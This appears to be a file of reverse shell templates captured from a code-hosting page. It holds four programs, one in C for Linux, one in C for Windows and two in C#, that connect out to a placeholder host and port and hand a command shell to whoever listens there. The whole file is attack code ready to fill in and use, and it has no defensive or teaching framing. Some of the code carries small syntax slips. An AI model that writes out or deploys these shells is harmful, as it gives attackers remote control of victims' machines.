174 lines
4.1 KiB
Plaintext
174 lines
4.1 KiB
Plaintext
pure C:
|
|
```
|
|
#include <stdio.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/types.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
|
|
int main(void){
|
|
int port = <port>;
|
|
struct sockaddr_in revsockaddr;
|
|
|
|
int sockt = socket(AF_INET, SOCK_STREAM, 0);
|
|
revsockaddr.sin_family = AF_INET;
|
|
revsockaddr.sin_port = htons(port);
|
|
revsockaddr.sin_addr.s_addr = inet_addr("<host>");
|
|
|
|
connect(sockt, (struct sockaddr *) &revsockaddr,
|
|
sizeof(revsockaddr));
|
|
dup2(sockt, 0);
|
|
dup2(sockt, 1);
|
|
dup2(sockt, 2);
|
|
|
|
char * const argv[] = {"bash", NULL};
|
|
execvp("<shell>", argv);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
C windows:
|
|
```
|
|
#include <winsock2.h>
|
|
#include <stdio.h>
|
|
#pragma comment(lib,"ws2_32")
|
|
|
|
WSADATA wsaData;
|
|
SOCKET Winsock;
|
|
struct sockaddr_in hax;
|
|
char ip_addr[16] = "<host>";
|
|
char port[6] = "<port>";
|
|
|
|
STARTUPINFO ini_processo;
|
|
|
|
PROCESS_INFORMATION processo_info;
|
|
|
|
int main()
|
|
{
|
|
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
|
Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0;
|
|
|
|
|
|
struct hostent *host;
|
|
host = gethostbyname(ip_addr);
|
|
strcpy_s(ip_addr, 16, inet_ntoa(*((struct in_addr *)host->h_addr)));
|
|
|
|
hax.sin_family = AF_INET;
|
|
hax.sin_port = htons(atoi(port));
|
|
hax.sin_addr.s_addr = inet_addr(ip_addr);
|
|
|
|
WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
|
|
|
|
memset(&ini_processo, 0, sizeof(ini_processo));
|
|
ini_processo.cb = sizeof(ini_processo);
|
|
ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
|
|
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
|
|
|
|
TCHAR cmd[255] = TEXT("<shell>.exe"); // ?
|
|
// TCHAR cmd[255] = TEXT("cmd.exe");
|
|
|
|
CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
C#:
|
|
```
|
|
using System;
|
|
using System.Text;
|
|
using System.IO;
|
|
using System.Diagnostics;
|
|
using System.ComponentModel;
|
|
using System.Linq;
|
|
using System.Net;
|
|
using System.Net.Sockets;
|
|
|
|
|
|
namespace ConnectBack
|
|
{
|
|
public class Program
|
|
{
|
|
static StreamWriter streamWriter;
|
|
|
|
public static void Main(string[] args)
|
|
{
|
|
using(TcpClient client = new TcpClient("<host>", <port>))
|
|
{
|
|
using(Stream stream = client.GetStream())
|
|
{
|
|
using(StreamReader rdr = new StreamReader(stream))
|
|
{
|
|
streamWriter = new StreamWriter(stream);
|
|
|
|
StringBuilder strInput = new StringBuilder();
|
|
|
|
Process p = new Process();
|
|
p.StartInfo.FileName = "<shell>";
|
|
p.StartInfo.CreateNoWindow = true;
|
|
p.StartInfo.UseShellExecute = false;
|
|
p.StartInfo.RedirectStandardOutput = true;
|
|
p.StartInfo.RedirectStandardInput = true;
|
|
p.StartInfo.RedirectStandardError = true;
|
|
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
|
|
p.Start();
|
|
p.BeginOutputReadLine();
|
|
|
|
while(true)
|
|
{
|
|
strInput.Append(rdr.ReadLine());
|
|
//strInput.Append("\n");
|
|
p.StandardInput.WriteLine(strInput);
|
|
strInput.Remove(0, strInput.Length);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
|
|
{
|
|
StringBuilder strOutput = new StringBuilder();
|
|
|
|
if (!String.IsNullOrEmpty(outLine.Data))
|
|
{
|
|
try
|
|
{
|
|
strOutput.Append(outLine.Data);
|
|
streamWriter.WriteLine(strOutput);
|
|
streamWriter.Flush();
|
|
}
|
|
catch (Exception err) { }
|
|
}
|
|
}
|
|
|
|
}
|
|
}
|
|
```
|
|
|
|
C#:
|
|
```
|
|
using System;
|
|
using System.Diagnostics;
|
|
|
|
namespace BackConnect {
|
|
class ReverseBash {
|
|
public static void Main(string[] args) {
|
|
Process proc = new System.Diagnostics.Process();
|
|
proc.StartInfo.FileName = "<shell>";
|
|
proc.StartInfo.Arguments = "-c \"<shell> -i >& /dev/tcp/<host>>/<port> 0>&1\"";
|
|
proc.StartInfo.UseShellExecute = false;
|
|
proc.StartInfo.RedirectStandardOutput = true;
|
|
proc.Start();
|
|
|
|
while (!proc.StandardOutput.EndOfStream) {
|
|
Console.WriteLine(proc.StandardOutput.ReadLine());
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
``` |